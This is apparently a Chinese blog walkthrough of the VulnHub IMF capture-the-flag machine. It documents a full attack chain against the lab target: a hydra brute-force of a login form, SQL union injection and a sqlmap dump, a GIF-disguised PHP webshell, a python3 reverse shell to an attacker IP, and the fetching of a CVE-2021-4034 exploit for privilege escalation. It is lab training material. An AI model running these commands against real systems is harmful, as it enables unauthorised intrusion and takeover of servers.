IMF缓冲区提权渗透 IMF缓冲区提权渗透靶机地址：https://www.vulnhub.com/entry/imf-1,162/靶机难度：中级（CTF）服务端口扫描访问80端口端口服务探测，能下手的只有80端口这儿只找到一个关于，联系我们只有一个80端口，本次靶机考核的应该就不是xss，可以直接跳过下面似乎有三个用户查看源码，这儿有一个flag1{YWxsdGhlZmlsZXM=}解码看看得到明文：allthefiles网页上也没有其他东西了，用dirsearch进行目录扫描试试表面上没有任何信息了，但又肯定存在其他信息，只能对源码进行审计Place favicon.ico and apple-touch-icon.avif in the root directory将favicon.ico和appletouch -icon.avif放在根目录下直到看到这些编码信息将前面两个两个拼凑在一起ZmxhZzJ7YVcxbVlXUnRhVzVwYzNS后面的那个就普通解码，得到后半部分flag合起来就是，这里还是一个flagflag2{aW1mYWRtaW5pc3RyYXRvcg==}继续解码，imfadministrator，这个结果可能是密码信息，但是网页上并没有登录的功能，22端口也没有开启那么就是目录了这里不清楚用户名的话，还记得刚刚页面上的信息嘛，第一个是导演，第二个是副主任，第三个是参谋长先目录扫描一下，看看能不能越权不行sql注入，万能密码现在唯一没有利用上的就是第一个flag明文，可能是密码吧，allthefiles，但是也没有效果，继续查看源码I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger我无法使SQL工作，所以我硬编码了密码。还是很安全的。——罗杰这不是又是一个用户名，用户名不存在（无效的用户名），这又是一个漏洞点试试刚刚的用户（导演 rmichaels，副主任 akeith，参谋长 estone），导演为密码错误副主任 akeith 无效的用户名参谋长 estone ，不存在看样子只有导演能登陆了，用burp爆破社区版很慢，考试只能用社区版，还有啥办法嘞，可以试试 hydra ，之前都是爆破一些协议，没有对http请求的内容进行爆破，这个还真没试过，我是菜鸡分析页面信息 页面登录错误的信息为Invalid登录失败的表单数据那么就能得到hydra的参数详解hydra -l rmichaels -P /usr/share/wordlists/fasttrack.txt -t 4 -vV 192.168.209.132 http-post-form "/imfadministrator/index.php:user=^USER^&pass=^PASS^:Invalid"都失败了hydra：调用 Hydra 工具。-l rmichaels：指定单个用户名为 rmichaels。这意味着 Hydra 将使用 rmichaels 作为用户名进行所有尝试。-P /usr/share/wordlists/fasttrack.txt：指定密码字典文件为 /usr/share/wordlists/fasttrack.txt。Hydra 将从这个文件中读取密码，逐个尝试。-t 4：设置同时运行的线程数为 4。这可以提高破解效率，但同时也会增加对目标服务器的负载。-vV：显示详细的过程信息。这有助于了解 Hydra 的运行状态和尝试的用户名/密码组合。192.168.209.132：目标服务器的 IP 地址。http-post-form：指定服务类型为 HTTP POST 表单。"/imfadministrator/index.php:user=^USER^&pass=^PASS^:Invalid"：指定表单路径、参数和错误消息。/imfadministrator/index.php：表单的路径。这是目标服务器上处理登录请求的 PHP 文件的路径。user=^USER^&pass=^PASS^：表单的参数。^USER^ 和 ^PASS^ 是占位符，分别表示用户名和密码。Hydra 会将这些占位符替换为实际的用户名和密码进行尝试。Invalid：错误消息。当表单返回该消息时，表示登录失败。Hydra 会根据这个错误消息来判断当前尝试的用户名和密码是否有效。使用强加密的话，可以利用php的特性，进行绕过得到了flag3flag3{Y29udGludWVUT2Ntcw==}解密后的明文：continueTOcms进入到home试试文件包含file协议data协议php://filter伪协议sql注入测试，得到sql语法错误的结果，这里没有回显数据（暂定为盲注）继续添加参数，普通的盲注是行不通的，这里要在后面再添加一个单引号我们换一个页面试试，看看能不能找到其他回显数据，进一步判断是否可以使用其他类型的注入（找其他信息，尽量不要盲注，因为在oscp考试中，禁止使用商业化工具比如sqlmap），用order by行不通看样子是利用这个pagename，回显html数据的，这里发现一个union联合查询注入当前数据库http://192.168.209.132/imfadministrator/cms.php?pagename=11111' union select concat(database())'# # admin接下来有一个很离谱的事儿，就是利用group_concat(111)能正常回显是吧，并且后面的sql语句没有报错但是我一换成table_name就完蛋啦，无奈自能用sqlmap了sqlmap脚本如下sqlmap -u 'http://192.168.209.132/imfadministrator/cms.php?pagename=disavowlist' -p 'pagename' --dbms 'mysql' --level 3 --cookie 'PHPSESSID=rcvl9o0565ni5ub2ki19i1vcu3' --dump可以看到这里是存在联合注入的访问一下，错误。。。。不管了看数据这里有一个二维码，扫扫看得到flag4，flag4{dXBsb2Fkcjk0Mi5waHA=}解码为一个php文件有一个文件上传burp抓包burp爆破文件后缀，普通的一句话木马不行，那么就需要进行绕过webshell的绕过工具weevelyweevely generate <password> <path>把木马放到windows上进行上传，尝试各种的上传方法，只有图片格式的可以上传，还需要添加文件头欺骗但是我们并不知道文件的名称，有一个uploads文件夹，刚刚dirsearch扫出来的，查看上传成功的源码，dab037ffb2eb这里访问图片只有图片马，还需要一个文件包含的漏洞才可以getshell（找个半天没有。。。），但是gif不一样了写入一句话木马echo 'GIF89a <?php $cmd=$_GET['cmd']; echo `$cmd`; ?>' > cmd.gif上传http://192.168.209.132/imfadministrator/uploads/dfd5fb101707.gif?cmd=idls 查看当前目录，发现flag5，flag5_abc123def.txtcat flag5_abc123def.txthttp://192.168.209.132/imfadministrator/uploads/dfd5fb101707.gif?cmd=cat%20flag5_abc123def.txtflag5{YWdlbnRzZXJ2aWNlcw==} # 解码 agentservices利用python3反弹shellexport RHOST="192.168.209.130";export RPORT=6666;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'系统信息收集，ubuntu 16.04 版本但是这些exp都不行，这里提权有两种方法，一个是CVE-2021-4034，一个是缓冲区溢出exp提权，kaligit clone https://github.com/arthepsy/CVE-2021-4034.git靶机wget 192.168.209.130:5000/CVE-2021-4034-poc.c gcc -o exp CVE-2021-4034-poc.c ./exp第二种方法缓冲区溢出提权，看看参考文章吧，这里我的“敲门”服务开启端口失败了，可能是因为我用了提权脚本的问题。附两篇写的比较好的文章参考（都是缓冲区溢出的）：https://www.freebuf.com/articles/system/329028.htmlhttps://blog.csdn.net/ericalezl/article/details/131797477往期推荐往期推荐不用MSF？红日靶场4，从外网到域控，手工干永恒之蓝，教科书级渗透教学防溯源小技巧ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略【oscp】vulnerable_docker，三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式【内网渗透】ICMP隧道技术，ICMP封装穿透防火墙上线MSF/CS【渗透测试】linux隐身登录